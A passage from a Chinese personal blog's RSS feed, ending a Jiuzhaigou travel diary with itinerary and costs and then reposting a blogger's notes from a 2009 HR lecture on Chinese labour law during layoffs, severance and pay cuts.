<p><a href="http://yanxin.files.wordpress.com/2009/05/dsc_00955b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0095" border="0" alt="DSC_0095" src="http://yanxin.files.wordpress.com/2009/05/dsc_00955b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a><a href="http://yanxin.files.wordpress.com/2009/05/dsc_01165b45d.jpg" rel="WLPP"><img style="display:inline;margin-left:0;margin-right:0;border-width:0;" title="DSC_0116" border="0" alt="DSC_0116" src="http://yanxin.files.wordpress.com/2009/05/dsc_01165b45d.jpg?w=244&#038;h=165" width="244" height="165" /></a><a href="http://yanxin.files.wordpress.com/2009/05/dsc_01235b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0123" border="0" alt="DSC_0123" src="http://yanxin.files.wordpress.com/2009/05/dsc_01235b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a><a href="http://yanxin.files.wordpress.com/2009/05/dsc_02055b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0205" border="0" alt="DSC_0205" src="http://yanxin.files.wordpress.com/2009/05/dsc_02055b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a><a href="http://yanxin.files.wordpress.com/2009/05/dsc_03115b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0311" border="0" alt="DSC_0311" src="http://yanxin.files.wordpress.com/2009/05/dsc_03115b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a><a href="http://yanxin.files.wordpress.com/2009/05/dsc_03365b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0336" border="0" alt="DSC_0336" src="http://yanxin.files.wordpress.com/2009/05/dsc_03365b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_03455b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0345" border="0" alt="DSC_0345" src="http://yanxin.files.wordpress.com/2009/05/dsc_03455b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a><a href="http://yanxin.files.wordpress.com/2009/05/dsc_03795b25d.jpg" rel="WLPP"><img style="display:inline;border-width:0;" title="DSC_0379" border="0" alt="DSC_0379" src="http://yanxin.files.wordpress.com/2009/05/dsc_03795b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <br />      花费：出租车费￥10，九寨沟门票￥170/人</p>
<p>Day 3<br />      九寨沟口&#8212;搭游览车到长海&#8212;五彩池&#8212;诺日朗服务中心&#8212;原始森林&#8212;天鹅海箭竹海&#8212;五花海&#8212;珍珠滩&#8212;镜海&#8212;树正寨&#8212;九寨沟口<br />      在昨天走了15公里的山路后今天再看看90公里的山路，想想后还是去买了张车票。坐车游九寨的确轻松了许多，不过总感觉少了点什么。似乎坐车只能走马观花的看看这里的美景，而无法体验这里的宁静。早上先坐车去长海，看着雪山在海子里的倒影，感觉人都被净化了。由于时间不是很好，五彩池里没有多少水，几个季节海也都干掉了，这个不得不说是一个遗憾。之后的原始森林是九寨海拔最高的地方，在里面呼吸呼吸新鲜空气还是不错的，唯一的问题就是这里比较冷。之后的五花海是九寨沟的精华，可以选择从箭竹海徒步往五花海，在雨水季节可以看到箭竹海瀑布。五花海感觉像五彩池和镜海和结合，平静的水面上呈现出不同的颜色，不过个人感觉更喜欢长海那种宁静的感觉。后面的珍珠滩瀑布据说就是老西游记片尾的那个拍摄地，仔细一看还是挺像的（其实本来就是）。风景看完了也就该去体验人文了，之后来到九寨沟内最大的藏族村寨&#8212;树正寨。里面有很多卖纪念品的小店，不过最吸引我的还是听了许久的青稞饼和酥油茶，青稞饼的味道感觉和煎饼差不多，酥油茶就是十分像台湾奶茶，后来几天在这里每天跑去找酥油茶喝。</p>
<p><a href="http://yanxin.files.wordpress.com/2009/05/dsc_00215b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0021" border="0" alt="DSC_0021" src="http://yanxin.files.wordpress.com/2009/05/dsc_00215b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_00495b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0049" border="0" alt="DSC_0049" src="http://yanxin.files.wordpress.com/2009/05/dsc_00495b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_01015b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0101" border="0" alt="DSC_0101" src="http://yanxin.files.wordpress.com/2009/05/dsc_01015b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_01355b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0135" border="0" alt="DSC_0135" src="http://yanxin.files.wordpress.com/2009/05/dsc_01355b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_01805b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0180" border="0" alt="DSC_0180" src="http://yanxin.files.wordpress.com/2009/05/dsc_01805b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_02765b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0276" border="0" alt="DSC_0276" src="http://yanxin.files.wordpress.com/2009/05/dsc_02765b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_03205b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_0320" border="0" alt="DSC_0320" src="http://yanxin.files.wordpress.com/2009/05/dsc_03205b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a> <a href="http://yanxin.files.wordpress.com/2009/05/dsc_14385b25d.jpg" rel="WLPP"><img style="border-bottom:0;border-left:0;display:inline;border-top:0;border-right:0;" title="DSC_1438" border="0" alt="DSC_1438" src="http://yanxin.files.wordpress.com/2009/05/dsc_14385b25d.jpg?w=244&#038;h=165" width="244" height="165" /></a>  <br />      花费：观光车费￥90/人，景区小吃￥10，千鹤酒店住宿180×3</p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/yanxin.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/yanxin.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/yanxin.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/yanxin.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/yanxin.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/yanxin.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/yanxin.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/yanxin.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/yanxin.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/yanxin.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/yanxin.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/yanxin.wordpress.com/5/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/yanxin.wordpress.com/5/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/yanxin.wordpress.com/5/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=5&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://yanxin.wordpress.com/2009/05/19/%e4%b9%9d%e5%af%a8%e6%b2%9f%ef%bc%8c%e9%bb%84%e9%be%99%e6%b5%b7%e8%9e%ba%e6%b2%9f%e8%87%aa%e9%a9%be%e6%94%bb%e7%95%a5%ef%bc%88%e4%b8%80%ef%bc%89/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/72d0839946097124234a921e0f3fec87?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">yanxin</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_00035b35d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0003</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_00185b65d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0018</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_00905b35d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0090</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_00955b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0095</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_01165b45d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0116</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_01235b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0123</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_02055b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0205</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_03115b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0311</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_03365b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0336</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_03455b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0345</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_03795b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0379</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_00215b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0021</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_00495b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0049</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_01015b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0101</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_01355b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0135</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_01805b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0180</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_02765b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0276</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_03205b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_0320</media:title>
		</media:content>

		<media:content url="http://yanxin.files.wordpress.com/2009/05/dsc_14385b25d.jpg?w=300" medium="image">
			<media:title type="html">DSC_1438</media:title>
		</media:content>
	</item>
		<item>
		<title>[转载]裁员中的博弈</title>
		<link>http://yanxin.wordpress.com/2009/03/10/%e8%bd%ac%e8%bd%bd%e8%a3%81%e5%91%98%e4%b8%ad%e7%9a%84%e5%8d%9a%e5%bc%88/</link>
		<comments>http://yanxin.wordpress.com/2009/03/10/%e8%bd%ac%e8%bd%bd%e8%a3%81%e5%91%98%e4%b8%ad%e7%9a%84%e5%8d%9a%e5%bc%88/#comments</comments>
		<pubDate>Mon, 09 Mar 2009 16:18:36 +0000</pubDate>
		<dc:creator>yanxin</dc:creator>
				<category><![CDATA[资料]]></category>

		<guid isPermaLink="false">http://yanxin.wordpress.com/2009/03/10/%e8%bd%ac%e8%bd%bd%e8%a3%81%e5%91%98%e4%b8%ad%e7%9a%84%e5%8d%9a%e5%bc%88</guid>
		<description><![CDATA[裁员知识不完全版 昨天下午，冒着大风大雨去听中华阴才网办的一个HR lecture，题目叫裁员危机管理。本来一看题目就知道很boring，不过小老板说反正免费不去白不去，于是哼哧哼哧跑到科学会堂待了一下午。 以为没什么人会听的，结果竟然全场坐满，难道真是现在企业都在忙着裁员么。。。上半场的90分钟极其无聊，讲EAP（员工援助计划)，听的昏昏欲睡。休息过后下半场开始，精彩的来了。 主讲老师应该是个劳动法专家，由于底下坐着的target audience都是HR，主要讲的就是裁员、降薪、调休里可能出现的法律问题。没有开场白，直接一个问题抛下来：一个企业要裁掉签约3年的员工，目前员工只工作了7个月，还有2年零5个月即29个月的劳动合同未履行，那么企业最多有可能需要支付多少赔偿才能裁掉他？（或者从劳动者的角度就是说员工最多可以要求得到多少赔偿） 底下众说纷纭，最多的就是说2个月工资赔偿即N+1原则。不过后来听下来，如果这名员工不是盏省油的灯，他最多可以要求得到2年零五个月全部的工资做赔偿。原因会慢慢讲（自己整理出来的，思维有点混乱。。。） 一般来说，只有企业在合法解除劳动关系时，N+1原则才适用，此处N=工龄。但此处的合法解除指的是严格按照法律程序的做法，包括：程序合法、条件合法等。 从裁员的种类说起，裁员包括：1.优化性裁员。这通常是由于员工的自身原因造成的比如不能胜任工作等（当企业想干净利落一劳永逸的裁掉某人时，也能使用给员工扣“不胜任”帽子的手段进行裁员）。2.经济性裁员。3.结构性裁员。 2与3都是由于企业自身原因造成的。这种情况下员工完全有权利要求上司写推荐信或者要求在公司重新开放headcount时自己会被优先考虑。 当企业要裁掉超过20名以上或者占总数10%以上的员工时，就构成了规模性的裁员，要走的法律程序就是：上报劳动部门批准、经员工工会批准（无工会的由员工代表替代，以下同），这就是程序合法。 现在三鹿这样的。2.企业生产经营严重困难，这里的严重困难不是企业说了算，而是必须企业处于亏损状态，在降低生产成本措施和CUT掉营运成本（包括广告费、业务招待费、高管过高收入、员工补贴等费用，或搬到租金低廉的办公楼）6个月后仍亏损的。3.企业适逢转产、经营方式调整期间，比如由原先的直营方式变为代理商或者生产方式由手工变流水线等。像西门子前几年剥离手机业务，裁掉手机部的员工一样。 当企业在不符合这些条件的情况下单方要求终止劳动合同，如果与员工协商后，员工（傻乎乎或者懵掉了或者被HR花特了）签字确认自己同意终止合同，企业就支付N+1赔偿金。若员工懂劳动法且不太好搞定且精的不得了，那么他可以向公司提出诉讼。 一般此类诉讼仲裁期为一年，员工可在第11个月时提出上诉，要求：恢复原先劳动合同，撤销解雇决定，赔偿被非法解雇期间损失工资。如员工胜诉，则企业必须支付这11个月+3个月（假设仲裁耗时3个月）+继续履行未完的合同。而这个时候，员工可与选择拿了赔偿但是不继续履行合同，也就是说企业给了这人14月的工资赔偿，但却没压榨到这14个月的劳动力，裁了等于没裁。 或者员工还可以采取另一种方法，就是在第11个月向劳动局投诉，然后这个1年的仲裁期会重新归零开始计算，等到第2个11月后再提出诉讼，最终死缠烂打胜诉获得29月赔偿。（这块讲太快了没听很明白。。。） 以上就是公司违法、单方解除劳动关系的后果，但如果HR谈判技巧高超或者员工实在太不关心自己权益就很有可能出现这样的情况，HR说：本来你只能拿到N+1的赔偿，我可以试着争取N+4，员工反正当场知道被炒也傻掉就签掉了，双方协商后解除劳动关系，就只有光光的N+4可拿。（如果那句帮你争取N+4只是说说的，那就只有光光的N+1了）。 当决定裁员时，HR常常会说：做出这样的决定我们也非常难过，但很不幸你在我们的裁员名单上面。而被裁的可怜人也常常或悲伤或愤怒的问：为什么被裁的总是我。个么裁员名单是怎么确定的涅~ 首先劳动法规定以下的人不能裁：1.处在“三期”内的女员工（除非公司倒闭了，那三期也得滚蛋）。三期=孕期+产期+哺乳期，加起来时间长的不得了，这也是现在闪孕普遍的原因。2.处在法定医疗期的员工。比如一个工龄12年的员工，他的有薪病假可能会有12个月，在这期间不能被裁，还要领病假工资。有些人可能就会在收到被裁通知前几天突如其来“病倒”了。3.处于工伤治疗期内的员工。比如不小心干活的时候把指甲盖掀掉了，看病看个一年。。。4.企业本身为生产性企业，而这部分员工有患职业病的风险。比如一个企业车间里粉尘很多，现在它要裁员，那在裁员名单上的员工就必须确定他们没有职业病才行。那怎么确定没这个病呢，就要做体检。那如果员工死活不去体检呢，那拿他没办法。。。 其次有些员工必须优先留用，也就是说裁员时优先不被考虑：1.签不固定期劳动合同的。一般来说劳动合同签1年的试用期1个月，2年的试用期2个月，3年以上的试用期6个月的（如果试用期间不缴纳四险一金，转正之后也可补交），除了固定期以外的就是没写明的无固定劳动合同。2.劳动合同期限较长的。就是裁员时优先考虑1年，然后2年，3年。。。直至无固定期。3.员工家庭中无其他就业人员的。就是说该员工是顶梁柱，裁掉他上有老下有小要饿死的。 可以看到，如果企业严格按照法律规定的裁员顺序，裁员之后剩下的都是老弱病残，这就是企业要千方百计与员工“协商”解除劳动关系的原因。 裁员之后是降薪的问题。企业不得无故单方提出降薪，员工工资一般在劳动合同中已写明，如果有调整，需双方协商同意（“协商”这个词很微妙）。如果工资不在 合同中写明而是在员工制度中写，那么如果调整工资就必须修改制度，而制度不是企业想改就改，必须经由工会或员工代表同意。如果企业单方降薪，员工可在离职后提出“公司单方克扣工资”的诉讼，有效期为离职时间内1年。如果员工主动提出降薪就是 另外回事儿了，特别是在目前恶劣的形势下。再是调休的问题。现在很多企业会让员工放年假，有些会说：无限期把以后的年假先休光，以后业务复苏后再加班补回来。但根据劳动法，企业的年假以年为单位，不可预支年假。如果法定年假为N天，而企业年假为N+m，则这多出的m天为员工福利不得要求返还。也不能还没加班就先调休（除非是在算综合工时的时候）。 如果企业没业务了，但和员工的劳动关系还在，那么员工处于停薪留职状态，但不表示企业1分工钱都不付是有道理的。严格说来必须在停工第1个月支付全额工资，第2个月起支付最低工资（上海如此，如果是江苏就是最低工资的80%）。此处的&#34;没业务停产&#34;，指的是全公司停工，而不是有一批人在干活，另外一批人休息停产。 一般来说，企业在裁员时，都会面对以下障碍：1.劳动合同。上面都说过了。2.法律依据。3.社会障碍。比如企业大规模裁员，必然影响就业率，必然影响社会和谐，必然影响与政府关系可能连累到以往享受的优惠政策，或者收到新闻媒体攻击有损企业声誉，或者造成员工暴力和对HR的人身攻击。。。4.道德障碍。说到底裁员总归有损RP。 In a word，裁员总归是下下策。当一个企业经营不佳时，在裁员之前其实有很多步骤可以做：1.上面已经讲过，搬到租金较低的办公楼或者有优惠政策的区域，比如张江，比如外高桥。CUT业务招待费（特别是已经没业务的时候）、员工补贴、福利等等一切可以CUT的开支。2.减员。减员跟裁员不同的地方是，减员是：a.对于合同即将到期的员工不再继续签约，而不是合同未履行完就终止。b.减掉实习生。c.减掉退休返聘人员。d.减掉与劳务派遣公司签约而不是公司签约的员工（这就是为什么不要找和劳务派遣公司签约的原因，福利待遇差了一大截还不安稳）。e.减掉严重违纪人员。“严重违纪”也是个很微妙的词，下面会讲。f.减掉绩效考核不合格的员工，这个就是优化性的调整了。3.可以由高管带头主动降薪，然后由企业和员工协商降薪。（“协商”again。。。如果没有员工，那么可以选出几个员工代表来，这几个代表同意了，那就OK了。问题是这个实际操作起来实在是。。。）鼓励员工请无薪事假。4.停工停产。上面也讲了。5.如果以上4步全部没效果，只能裁员。而从劳动者的角度来说，如果企业没有按照这4步来做，那就说明其中可能有不符规定行为。 90分钟的部分到这里结束，接下来的Q&#38;A的环节举手者不断。举手的HR一个比一个直接，比如问题一。Q：如果公司要优化裁员，当说明员工绩效考核不合格时，应该怎样举证？（“绩效考核”又是个很微妙的词）A：1.绩效考核必须量化，方便日后举证。比如考核标准可以写：出错率小于5%等。2.考核过程中如不能量化，那就要具体化。比如让员工签字同意“该员工团队合作意识不强、不融入公司”，肯定没人签。要是改成“该员工上月3次员工团体活动均未参加”，如果有签到表显示确实如此，不想签也得签。而这句话其实潜台词跟“不融入公司”效果也差不多。 问题二Q：公司里有一个签了无固定期的中级管理人员，薪水较高，为节省开支想把他裁掉，但死活不肯协商签字，该怎么办？A：两个途径：一个是揪出他严重违纪。二是指出他不胜任工作。北京发生的实例：一公司年薪30万的管理人员，公司想开掉，又不想搞砸反而赔了夫人又折兵，于是先告诉他，由于不景气现在没有高端的活给他干了，只能去干低层次的活，比如每天输输数据。这个员工多少也拎得清了，知道自己有被炒的危险，于是乖乖输数据。但是百密总有一疏，公司绩效考核发现他输入的错误率偏高了（整天输数据不错才怪）于是要求他参加培训。员工于是去培训，但发现培训对一个中级管理者太傻太侮辱人了，愤怒之下不去培训了。然而一般公司的员工条例里都会规定员工必须参加由公司组织的、有益业务能力的培训活动，于是公司以严重违纪开掉了他。官司打到终院员工输掉了。由此可见，对公司来说裁员时这两个方法要结合着灵活运用。对员工来说，真是防不胜防还是夹紧尾巴做人保险。。。 以上就是讲座笔记，整理得真累。想起礼拜二乘公交的时候听到一个民工打电话说：他们只给开2K，我才不去。我们村里跑长途的不给3K都不去的。好有底气的民工啊，听的我一阵心寒。。。<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=yanxin.wordpress.com&amp;blog=14880534&amp;post=6&amp;subd=yanxin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div id="msgcns!8BD5D359E9E6F819!1783" class="bvMsg">
<p>裁员知识不完全版
<p>昨天下午，冒着大风大雨去听中华阴才网办的一个HR lecture，题目叫裁员危机管理。本来一看题目就知道很boring，不过小老板说反正免费不去白不去，于是哼哧哼哧跑到科学会堂待了一下午。
<p>以为没什么人会听的，结果竟然全场坐满，难道真是现在企业都在忙着裁员么。。。上半场的90分钟极其无聊，讲EAP（员工援助计划)，听的昏昏欲睡。休息过后下半场开始，精彩的来了。
<p>主讲老师应该是个劳动法专家，由于底下坐着的target audience都是HR，主要讲的就是裁员、降薪、调休里可能出现的法律问题。没有开场白，直接一个问题抛下来：一个企业要裁掉签约3年的员工，目前员工只工作了7个月，还有2年零5个月即29个月的劳动合同未履行，那么企业最多有可能需要支付多少赔偿才能裁掉他？（或者从劳动者的角度就是说员工最多可以要求得到多少赔偿）
<p>底下众说纷纭，最多的就是说2个月工资赔偿即N+1原则。不过后来听下来，如果这名员工不是盏省油的灯，他最多可以要求得到2年零五个月全部的工资做赔偿。原因会慢慢讲（自己整理出来的，思维有点混乱。。。）
<p>一般来说，只有企业在合法解除劳动关系时，N+1原则才适用，此处N=工龄。但此处的合法解除指的是严格按照法律程序的做法，包括：程序合法、条件合法等。
<p>从裁员的种类说起，裁员包括：1.优化性裁员。这通常是由于员工的自身原因造成的比如不能胜任工作等（当企业想干净利落一劳永逸的裁掉某人时，也能使用给员工扣“不胜任”帽子的手段进行裁员）。2.经济性裁员。3.结构性裁员。 2与3都是由于企业自身原因造成的。这种情况下员工完全有权利要求上司写推荐信或者要求在公司重新开放headcount时自己会被优先考虑。
<p>当企业要裁掉超过20名以上或者占总数10%以上的员工时，就构成了规模性的裁员，要走的法律程序就是：上报劳动部门批准、经员工工会批准（无工会的由员工代表替代，以下同），这就是程序合法。
<p>现在三鹿这样的。2.企业生产经营严重困难，这里的严重困难不是企业说了算，而是必须企业处于亏损状态，在降低生产成本措施和CUT掉营运成本（包括广告费、业务招待费、高管过高收入、员工补贴等费用，或搬到租金低廉的办公楼）6个月后仍亏损的。3.企业适逢转产、经营方式调整期间，比如由原先的直营方式变为代理商或者生产方式由手工变流水线等。像西门子前几年剥离手机业务，裁掉手机部的员工一样。
<p>当企业在不符合这些条件的情况下单方要求终止劳动合同，如果与员工协商后，员工（傻乎乎或者懵掉了或者被HR花特了）签字确认自己同意终止合同，企业就支付N+1赔偿金。若员工懂劳动法且不太好搞定且精的不得了，那么他可以向公司提出诉讼。
<p>一般此类诉讼仲裁期为一年，员工可在第11个月时提出上诉，要求：恢复原先劳动合同，撤销解雇决定，赔偿被非法解雇期间损失工资。如员工胜诉，则企业必须支付这11个月+3个月（假设仲裁耗时3个月）+继续履行未完的合同。而这个时候，员工可与选择拿了赔偿但是不继续履行合同，也就是说企业给了这人14月的工资赔偿，但却没压榨到这14个月的劳动力，裁了等于没裁。
<p>或者员工还可以采取另一种方法，就是在第11个月向劳动局投诉，然后这个1年的仲裁期会重新归零开始计算，等到第2个11月后再提出诉讼，最终死缠烂打胜诉获得29月赔偿。（这块讲太快了没听很明白。。。）
<p>以上就是公司违法、单方解除劳动关系的后果，但如果HR谈判技巧高超或者员工实在太不关心自己权益就很有可能出现这样的情况，HR说：本来你只能拿到N+1的赔偿，我可以试着争取N+4，员工反正当场知道被炒也傻掉就签掉了，双方协商后解除劳动关系，就只有光光的N+4可拿。（如果那句帮你争取N+4只是说说的，那就只有光光的N+1了）。
<p>当决定裁员时，HR常常会说：做出这样的决定我们也非常难过，但很不幸你在我们的裁员名单上面。而被裁的可怜人也常常或悲伤或愤怒的问：为什么被裁的总是我。个么裁员名单是怎么确定的涅~
<p>首先劳动法规定以下的人不能裁：<br />1.处在“三期”内的女员工（除非公司倒闭了，那三期也得滚蛋）。三期=孕期+产期+哺乳期，加起来时间长的不得了，这也是现在闪孕普遍的原因。<br />2.处在法定医疗期的员工。比如一个工龄12年的员工，他的有薪病假可能会有12个月，在这期间不能被裁，还要领病假工资。有些人可能就会在收到被裁通知前几天突如其来“病倒”了。<br />3.处于工伤治疗期内的员工。比如不小心干活的时候把指甲盖掀掉了，看病看个一年。。。<br />4.企业本身为生产性企业，而这部分员工有患职业病的风险。比如一个企业车间里粉尘很多，现在它要裁员，那在裁员名单上的员工就必须确定他们没有职业病才行。那怎么确定没这个病呢，就要做体检。那如果员工死活不去体检呢，那拿他没办法。。。
<p>其次有些员工必须优先留用，也就是说裁员时优先不被考虑：<br />1.签不固定期劳动合同的。一般来说劳动合同签1年的试用期1个月，2年的试用期2个月，3年以上的试用期6个月的（如果试用期间不缴纳四险一金，转正之后也可补交），除了固定期以外的就是没写明的无固定劳动合同。<br />2.劳动合同期限较长的。就是裁员时优先考虑1年，然后2年，3年。。。直至无固定期。<br />3.员工家庭中无其他就业人员的。就是说该员工是顶梁柱，裁掉他上有老下有小要饿死的。
<p>可以看到，如果企业严格按照法律规定的裁员顺序，裁员之后剩下的都是老弱病残，这就是企业要千方百计与员工“协商”解除劳动关系的原因。
<p>裁员之后是降薪的问题。企业不得无故单方提出降薪，员工工资一般在劳动合同中已写明，如果有调整，需双方协商同意（“协商”这个词很微妙）。如果工资不在
<p>合同中写明而是在员工制度中写，那么如果调整工资就必须修改制度，而制度不是企业想改就改，必须经由工会或员工代表同意。如果企业单方降薪，员工可在离职后提出“公司单方克扣工资”的诉讼，有效期为离职时间内1年。如果员工主动提出降薪就是
<p>另外回事儿了，特别是在目前恶劣的形势下。再是调休的问题。现在很多企业会让员工放年假，有些会说：无限期把以后的年假先休光，以后业务复苏后再加班补回来。但根据劳动法，企业的年假以年为单<br />位，不可预支年假。如果法定年假为N天，而企业年假为N+m，则这多出的m天为员工福利不得要求返还。也不能还没加班就先调休（除非是在算综合工时的时候）。
<p>如果企业没业务了，但和员工的劳动关系还在，那么员工处于停薪留职状态，但不表示企业1分工钱都不付是有道理的。严格说来必须在停工第1个月支付全额工资，第2个月起支付最低工资（上海如此，如果是江苏就是最低工资的80%）。此处的&quot;没业务停产&quot;，指的是全公司停工，而不是有一批人在干活，另外一批人休息停产。<br /> 
<p>一般来说，企业在裁员时，都会面对以下障碍：<br />1.劳动合同。上面都说过了。<br />2.法律依据。<br />3.社会障碍。比如企业大规模裁员，必然影响就业率，必然影响社会和谐，必然影响与政府关系可能连累到以往享受的优惠政策，或者收到新闻媒体攻击有损企业声誉，或者造成员工暴力和对HR的人身攻击。。。<br />4.道德障碍。说到底裁员总归有损RP。
<p>In a word，裁员总归是下下策。<br />当一个企业经营不佳时，在裁员之前其实有很多步骤可以做：<br />1.上面已经讲过，搬到租金较低的办公楼或者有优惠政策的区域，比如张江，比如外高桥。CUT业务招待费（特别是已经没业务的时候）、员工补贴、福利等等一切可以CUT的开支。<br />2.减员。<br />减员跟裁员不同的地方是，减员是：a.对于合同即将到期的员工不再继续签约，而不是合同未履行完就终止。b.减掉实习生。c.减掉退休返聘人员。d.减掉与劳务派遣公司签约而不是公司签约的员工（这就是为什么不要找和劳务派遣公司签约的原因，福利待遇差了一大截还不安稳）。e.减掉严重违纪人员。“严重违纪”也是个很微妙的词，下面会讲。f.减掉绩效考核不合格的员工，这个就是优化性的调整了。<br />3.可以由高管带头主动降薪，然后由企业和员工协商降薪。（“协商”again。。。如果没有员工，那么可以选出几个员工代表来，这几个代表同意了，那就OK了。问题是这个实际操作起来实在是。。。）鼓励员工请无薪事假。<br />4.停工停产。上面也讲了。<br />5.如果以上4步全部没效果，只能裁员。而从劳动者的角度来说，如果企业没有按照这4步来做，那就说明其中可能有不符规定行为。
<p>90分钟的部分到这里结束，接下来的Q&amp;A的环节举手者不断。举手的HR一个比一个直接，比如问题一。<br />Q：如果公司要优化裁员，当说明员工绩效考核不合格时，应该怎样举证？（“绩效考核”又是个很微妙的词）<br />A：1.绩效考核必须量化，方便日后举证。比如考核标准可以写：出错率小于5%等。<br />2.考核过程中如不能量化，那就要具体化。比如让员工签字同意“该员工团队合作意识不强、不融入公司”，肯定没人签。要是改成“该员工上月3次员工团体活动均未参加”，如果有签到表显示确实如此，不想签也得签。而这句话其实潜台词跟“不融入公司”效果也差不多。
